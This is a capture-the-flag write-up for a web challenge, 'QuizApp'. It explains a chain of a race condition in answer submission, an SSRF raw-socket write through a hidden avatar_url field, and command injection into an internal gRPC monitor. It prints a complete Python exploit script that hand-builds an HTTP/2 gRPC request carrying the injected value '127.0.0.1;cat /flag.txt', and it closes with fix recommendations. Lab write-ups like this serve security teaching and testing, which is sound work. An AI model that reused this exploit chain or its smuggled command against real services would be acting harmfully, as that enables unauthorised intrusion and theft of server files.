852 words
4 minutes
QuizApp
QuizApp
Challenge Info
- Name: QuizApp
- Category: Web
- Difficulty: Hard
- Points: 150
- Flag format:
VBD{...} - Instance used:
http://ctf.vulnbydefault.com:5484
TL;DR
Exploit chain is:
- Race condition in
submit.phpto gain more than +10 points for a single question. - Reach 100+ score to unlock profile image update path.
- Abuse hidden
avatar_urlinprofile.phpfor SSRF with raw socket write to internal service127.0.0.1:50051. - Speak HTTP/2 + gRPC manually and inject shell command into monitor service:
ip = "127.0.0.1;cat /flag.txt"
- Server stores returned bytes as uploaded avatar; read
/uploads/<random>.jpgand extractVBD{...}.
Root Cause Analysis
1) Race condition in answer submission (src/submit.php)
- Code checks if question is already solved:
SELECT COUNT(*) FROM solved_questions WHERE user_id = ? AND question_id = ?
- If not solved, it sleeps (
usleep(200000)), then evaluates answer and updates score. - There is no transaction / lock / unique constraint to prevent concurrent requests from passing the same check.
Impact:
- Multiple parallel requests for the same question can all award points before solved state is consistently visible.
2) SSRF sink in profile update (src/profile.php)
- Hidden branch accepts
POST avatar_url. - Uses
parse_url()+fsockopen(host, port)and writes raw data derived from URL path:$data = urldecode(substr($path, 2));fwrite($fp, $data);
- Reads response bytes and stores them as
.jpgeven for remote fetch ($is_remote = true).
Impact:
- Arbitrary internal TCP interaction (SSRF-like raw socket) and response exfiltration through uploaded file.
3) Internal command injection in monitor (monitor/main.go)
- gRPC endpoint
HealthCheck.CheckHealthruns:cmdStr := fmt.Sprintf("ping -c 1 %s", ip)exec.Command("sh", "-c", cmdStr)
Impact:
- If attacker can reach this gRPC service,
ipis command-injection primitive.
4) Service exposure / trust boundary issue
- Docker runs internal monitor on
:50051and web app in same container/network. - Web app can reach monitor via localhost.
Combined impact:
- Remote attacker → web app SSRF raw socket → internal gRPC call → command injection → read
/flag.txt.
Exploitation Steps (Manual)
- Register/login a normal user.
- Trigger many parallel POSTs to
/submit.phpfor the samequestion_id, trying both options repeatedly. - Repeat until score reaches at least 100.
- POST to
/profile.phpwithavatar_urlcontaining percent-encoded HTTP/2 + gRPC request targeting::path = /health.HealthCheck/CheckHealth- protobuf field
ip = "127.0.0.1;cat /flag.txt"
- Open profile, get generated uploaded filename from
<img src="uploads/<name>.jpg">. - Request
/uploads/<name>.jpgand grep forVBD{...}.
Automated PoC Usage
Exploit script file:
1. ctf/quizapp-web/exploit_quizapp.py
Run:
python "1. ctf/quizapp-web/exploit_quizapp.py" --base "http://ctf.vulnbydefault.com:5484"Expected output includes:
- score race progress
- uploaded avatar filename
- final flag line
Full Exploit Script
#!/usr/bin/env python3import argparseimport concurrent.futuresimport randomimport reimport secretsimport stringimport sysimport timeimport urllib.parse
import requests
try: import h2.connectionexcept Exception: print("[!] Missing dependency: h2 (pip install h2)") sys.exit(1)
def rand_user(prefix="u"): return f"{prefix}_{''.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(8))}"
def must(cond, msg): if not cond: raise RuntimeError(msg)
def parse_score(html): m = re.search(r'id="user-score">\s*(\d+)\s*<', html) return int(m.group(1)) if m else 0
def parse_question_and_options(html): q = re.search(r"submitAnswer\((\d+), '((?:\\'|[^'])*)'\)", html) if not q: return None, [] qid = int(q.group(1)) opts = re.findall(r"submitAnswer\(%d, '((?:\\'|[^'])*)'\)" % qid, html) opts = [o.replace("\\'", "'") for o in opts] opts = list(dict.fromkeys(opts)) return qid, opts
def encode_varint(n): out = bytearray() while True: b = n & 0x7F n >>= 7 if n: out.append(b | 0x80) else: out.append(b) break return bytes(out)
def build_grpc_h2_payload(command_str): conn = h2.connection.H2Connection() conn.initiate_connection() raw = bytearray(conn.data_to_send())
headers = [ (":method", "POST"), (":scheme", "http"), (":path", "/health.HealthCheck/CheckHealth"), (":authority", "127.0.0.1:50051"), ("content-type", "application/grpc"), ("te", "trailers"), ] conn.send_headers(1, headers)
msg = command_str.encode() proto = b"\x0a" + encode_varint(len(msg)) + msg grpc_body = b"\x00" + len(proto).to_bytes(4, "big") + proto
conn.send_data(1, grpc_body, end_stream=True) raw.extend(conn.data_to_send()) return bytes(raw)
def percent_encode_bytes(b): return "".join(f"%{x:02X}" for x in b)
def run(base): s = requests.Session() s.headers["User-Agent"] = "Mozilla/5.0"
username = rand_user("quiz") password = "P@ssw0rd!" + ''.join(random.choice(string.digits) for _ in range(3))
print(f"[*] Target: {base}") print(f"[*] User: {username}")
r = s.post( f"{base}/auth.php", data={"action": "register", "username": username, "password": password}, allow_redirects=True, timeout=20, ) r.raise_for_status()
r = s.post( f"{base}/auth.php", data={"action": "login", "username": username, "password": password}, allow_redirects=True, timeout=20, ) r.raise_for_status() must("Quiz" in r.text or "current score" in r.text.lower(), "Login failed") print("[+] Logged in")
score = 0 for round_no in range(1, 8): page = s.get(f"{base}/index.php", timeout=20) page.raise_for_status() score = parse_score(page.text) qid, opts = parse_question_and_options(page.text)
print(f"[*] Round {round_no}: score={score}, qid={qid}, opts={opts}") if score >= 100: break if not qid or len(opts) < 1: break
burst = [] for _ in range(50): burst.append(opts[0]) if len(opts) > 1: burst.append(opts[1])
def hit(ans): try: rr = s.post( f"{base}/submit.php", data={"question_id": str(qid), "answer": ans}, timeout=20, ) return rr.text except Exception: return ""
with concurrent.futures.ThreadPoolExecutor(max_workers=40) as ex: results = list(ex.map(hit, burst))
correct_count = sum('"status":"correct"' in x for x in results) print(f"[+] Burst done: correct={correct_count}/{len(results)}") time.sleep(1.0)
page = s.get(f"{base}/index.php", timeout=20) page.raise_for_status() score = parse_score(page.text) print(f"[*] Final score after race: {score}") must(score >= 100, "Could not reach 100 points; rerun exploit")
injected_ip = "127.0.0.1;cat /flag.txt" h2_payload = build_grpc_h2_payload(injected_ip) path_payload = "/x" + percent_encode_bytes(h2_payload) avatar_url = f"http://127.0.0.1:50051{path_payload}"
print(f"[*] Sending SSRF to internal gRPC with injected ip: {injected_ip}") r = s.post( f"{base}/profile.php", data={"avatar_url": avatar_url}, allow_redirects=True, timeout=30, ) r.raise_for_status()
prof = s.get(f"{base}/profile.php", timeout=20) prof.raise_for_status()
m = re.search(r"uploads/([a-f0-9]{32}\.jpg)", prof.text) must(m is not None, "Could not find uploaded avatar filename") avatar_name = m.group(1) print(f"[+] Avatar file: {avatar_name}")
blob = s.get(f"{base}/uploads/{avatar_name}", timeout=20).content text = blob.decode("latin1", errors="ignore")
fm = re.search(r"VBD\{[^}]+\}", text) if fm: print(f"\n[FLAG] {fm.group(0)}") return
print("[!] Flag not found directly in uploaded response.") print("[!] Response sample:") print(text[:1200])
if __name__ == "__main__": ap = argparse.ArgumentParser() ap.add_argument("--base", default="http://ctf.vulnbydefault.com:5484") args = ap.parse_args() run(args.base.rstrip("/"))Flag
VBD{grpc_with_g0ph3r_1s_b3st_8ce34e4dfe3390c372e49dbb61ad3242}
Fix Recommendations
- submit.php: use DB transaction + unique constraint
(user_id, question_id)and atomic score update. - profile.php: remove
avatar_urlremote fetch path (or strict allowlist + safe HTTP client). - monitor/main.go: never shell-expand user input; use direct command args or pure ICMP library.
- Isolate internal services from web app egress where possible.